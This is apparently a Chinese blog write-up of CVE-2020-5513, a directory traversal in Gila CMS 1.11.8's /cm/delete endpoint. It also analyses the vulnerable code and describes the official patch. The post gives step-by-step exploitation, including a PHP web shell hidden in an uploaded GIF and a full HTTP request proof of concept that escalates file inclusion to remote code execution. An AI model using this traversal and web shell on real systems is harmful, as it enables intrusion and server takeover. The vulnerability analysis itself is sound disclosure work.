漏洞概况
- Gila CMS 1.11.8 allows /cm/delete?t=../ Directory Traversal. 
 
- 这个漏洞是因为文件包含导致,可以导致远程代码执行(Local File Inclusion to Remote Code Execution)
 
- 需要管理员权限
 
环境搭建
- Gila CMS 1.11.8
 
- php 7.2.25
 
- Ubuntu18.04 + Mysql 5.7 + Apache2
 
漏洞利用
登陆后台管理员账号,然后打开http://your-ip/gila1118/admin/content/post 新建一篇post。

然后删除这篇文章

然后用burpsuite抓包修改参数t为../../../../../../etc/passwd。

可以看到我们可以读取到/etc/passwd文件。
然后我们看一下怎么利用LFI实现RCE。访问http://your-ip/gila1118/admin/media 上传一张图片,然后我们把图片内容修改为下面的内容:
1 2 3 4
   | <?php 	echo "It works!!!\n"; 	echo system($_GET['c']); ?>
   | 
 

上传后的图片保存在assets/目录下

然后用同样的方式在删除post的时候将参数t修改为../../assets/test.gif,我们可以看到图片中恶意代码被执行了。

然后我们加上参数c,列出了当前目录下的所有文件
PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
   | POST /gila1118/cm/delete?t=../../../../../../../ HTTP/1.1 Host: 192.168.247.130 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------1283573017589669486400713746 Content-Length: 295 Origin: http://192.168.247.130 Connection: close Referer: http://192.168.247.130/gila1118/admin/content/post Cookie: GSESSIONID=1xcps02tot9sr22ozi9j2shmo76m7dzi82rkkcj7nha33usgud; language=en-gb; currency=USD; media_path=assets; media_tab=uploads; PHPSESSID=cgt32s84a11b7kjns6c6vdlbt1; XDEBUG_SESSION=PHPSTORM
  -----------------------------1283573017589669486400713746 Content-Disposition: form-data; name="id"
  5 -----------------------------1283573017589669486400713746 Content-Disposition: form-data; name="formToken"
  1ueasv&h12^#wt -----------------------------1283573017589669486400713746--
   | 
 
漏洞分析
当用户删除一篇post的时候,会调用src/core/controllers/cm.php中的deleteAction()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
   | /** * Delete registry of content type */ function deleteAction () {   header('Content-Type: application/json');   $gtable = new gTable(router::get("t",1), $this->permissions);   if($gtable->can('delete')) {     $gtable->deleteRow($_POST['id']);     $response = '{"id":"'.$_POST['id'].'"}';   } else {     $response = '"error":"User cannot delete"}';   }   echo $response; }
   | 
 
其中$gtable = new gTable(router::get("t",1), $this->permissions);会先调用router::get()获取get请求中的t参数的值。

然后用取回来的t参数值传入gTable的构造函数__construct(),在这里可以看到引起文件包含的原因,对$content‘(也就是t参数)进行的检查不太恰当,可以看到在第10行会检查$content在不在gila::content定义的白名单列表之中,返回的结果当然是False,所以接着进入第12行的else if逻辑,只要文件存在就将$content赋值给$path,所以造成了后面的任意文件包含。
src/core/class/gTable.php:

gila::content定义在src/core/load.php中:

官方补丁
官方对这个补丁做了两处修改,第一处是在cm类的__construct()函数中,先给$this->table赋值为get请求中传过来的t参数,然后检查gila::$content[$this->table]是否存在,如果不存在直接返回http_response_code(404)。

第二处是将·router::get("t",1)改为$this->table

table是cm类的一个私有变量。

参考
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5513 
 
- https://infosecdb.wordpress.com/2020/01/05/gilacms-1-11-8-cm-deletet-lfi-local-file-inclusion-and-rce/ 
 
- https://github.com/GilaCMS/gila/commit/afbbaae9634b14abda398404e31faa74dcceaaf8 
 
         
        
            
                
                    
                        Author:
                        Bantian
                    
                
                
                
                    
                        License:
                        Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
                    
                
                
                     
                         Slogan:
                         早睡早起身体好